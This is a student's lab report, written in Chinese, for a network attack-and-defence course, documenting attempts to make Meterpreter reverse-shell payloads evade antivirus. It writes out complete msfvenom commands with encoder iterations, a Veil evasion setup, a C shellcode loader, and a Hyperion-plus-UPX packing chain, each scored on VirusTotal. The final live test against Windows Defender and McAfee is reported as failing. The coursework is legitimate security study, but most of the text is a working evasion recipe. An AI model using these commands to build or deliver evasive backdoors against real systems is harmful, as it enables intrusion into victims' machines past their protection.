20222320 2024-2025-1 《网络与系统攻防技术》实验三实验报告
目录
0.认识工具
Veil
一款专为渗透设计的开源工具,旨在生成能够绕过主流防病毒(AV)软件检测的恶意载荷。它通过多种技术手段,如加密、混淆和利用漏洞,确保生成的载荷在目标环境中能够顺利执行而不被AV软件拦截
apt-get install veil
---安装Veil
veil
---启动Veil
use tool_number
---选择工具
list
---列出可用的工具
set option_name option_value
---设置选项
generate
---生成Payload
exit
---退出Veil
info
---显示工具信息
update
---更新Veil
1.实验目标
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验内容
(1)掌握免杀原理与技术
(2)回答问题
-
杀软是如何检测出恶意代码的?
1.基于特征码:检测文件中是否有木马病毒特征码;如果检测出匹配就是恶意代码
2.启发式分析:检查软件的特征和行为,易误报,但可以检测出新型的恶意代码
3.行为分析:检查软件运行的行为,是否执行敏感操作。如果与已知的恶意行为相符,就判定为恶意代码 -
免杀是做什么?
采取各种技术手段,使恶意软件能够绕过杀毒软件的检测和防御,从而成功地在目标系统上执行。 -
免杀的基本方法有哪些?
1.改变特征码
2.加密壳,压缩壳
3.代码混淆
4.改变行为(通信方式,操作方式)
3.实验过程
(1)使用msf编码器,使用msfvenom生成如jar之类的其他文件
msf可以将源程序重新编码,生成新的2进制文件;运行后执行源程序功能
先查看所有的编码器
msfvenom --list encoder
选一个rank等级高的来编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe
这时会根据需求生成一个可执行程序:
先测试一下它的免杀效果,这里用virustotal进行检测,网址见参考资料
60/72,效果并不好;尝试多次编码看看效果
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe
测试后效果一般,没有明显变化。下一步试试其他文件,先生成jar包
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f jar > 20222320_first.jar
生成结果如下:
把这个拿去检测一下:
和直接编码为exe相比有所下降,但还是比较高。
再试试做一个apk:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f apk > 20222320_first.apk
这个拿去检测:
通过率稍微高点,但作为免杀来说还是较低。这3个结果说明直接生成的结果难以直接通过检测,所以要找别的办法
(2)使用veil加壳工具加壳
安装veil就很麻烦,而且地下实验室网不好,真要安半小时才行。具体如图安装,更着安装程序一直安就行:
安装完后应该是这个界面:
先输入下列指令生成个默认exe看看
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.56.103
set LPORT 2320
generate
这里要到它显示的文件路径去查找生成的文件才行,找到后放回当前文件夹便于使用:
拿去直接检测一下:
结果并不好,通过率不足一半,说明还是不能实现免杀
(3)使用C + shellcode编程
用msf生成一段shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2320 -f c
生成一段shellcode,接下来将它们放到一个.c文件里面:
unsigned char buf[] = "[生成的shellcode]";
int main() {
int (*func)() = (int(*)())buf;
func();
}
交叉编译这个程序:
i686-w64-mingw32-g++ shellcode_c.c -o winshell.exe
检测一下:
比起之前的,可以说检出概率小了很多了
(4)通过组合应用各种技术实现恶意代码免杀
基本思路就是利用msf生成的shell上,用c+shellcode生成源文件,再用wine的hyperion加密,然后upx压缩壳
i686-w64-mingw32-gcc win_shell.c -o win_shell.exe
wine /usr/share/windows-resources/hyperion/hyperion.exe -v win_shell.exe win_shell.hyed.exe
upx win_shell.hyed.exe -o winshell_upx.exe
拿去检查一下,看看通过率:
实现巨大突破了,虽然还不是完全免杀,但已经很成功了,这下通过winscp连接到windows上,尝试运行。
(5)用另一电脑实测,在杀软开启的情况下,可运行并回连成功
先设置kali准备监听,步骤同实验二,注意载荷要和生成的shellcode载荷一样,不然会失败
电脑用的windows自带的防护程序和mcafee(删不掉),刚刚生成的软件在win防护中心和mcafee都打开的情况下,双击运行
哦嚯,被win防护检测出来了,那就换一下方法吧:用veil生成程序,再加密并压缩
先生成一个:
再压缩:
检测看看:
看来不是很行,但不管了,试试:
完蛋,还是不行。后面又尝试了好几种组合,都不太行,windows自带的防护中心太猛了
没办法,这个算是完不成了,具体原因后面分析吧
4.问题及解决方案
- 问题1:veil下载出bug
- 问题1解决方案:这个当时没注意截屏,写报告时安装好了没有图片了;描述一下就是缺少一个wine的依赖,这是程序会在后面提示你重新运行veil的安装程序,照着重新安装就行。也可能会有网络问题,这时候换源就行
- 问题2:免杀失败
- 问题2解决方案:见下方学习思考
5.学习感悟、思考等
先看一下加壳的原理,加壳就是把原始的程序装到一个“外壳”里保护起来。所以被保护过的程序启动其实是从壳代码开始的,然后才会启动处理之后的原始程序,因为原始程序上加了一堆的加密和虚拟化手段,没有壳代码参与,操作系统已经不能正确运行了。加壳时对block进行编译保护,一个 Block 会被掰开、揉碎、打散,变成多个 Block,而且还分散在各处。这样就不可能直接反编译,最后链接保存相关的操作,便于复原。
那和win报错有什么关系呢?加壳处理过的程序内部已经不能像一个“正经”程序那样被人随便分析了,杀毒软件的思路通常是“不让我看懂就说明你有问题”,所以就报毒。而且msf太老了,被各路软件都分析透了。而且这次试验的免杀技术也比较简单,,静态就被杀了,说明特征码被找到呗。真要改的话参考下面免杀要进入程序修改特征码才行吧,而不是只是简单运行加密压缩壳。
这次试验虽然最后有点失败,但通过查资料分析原因,还是让我对免杀认识了很多的,总而言之,道高一尺魔高一丈啊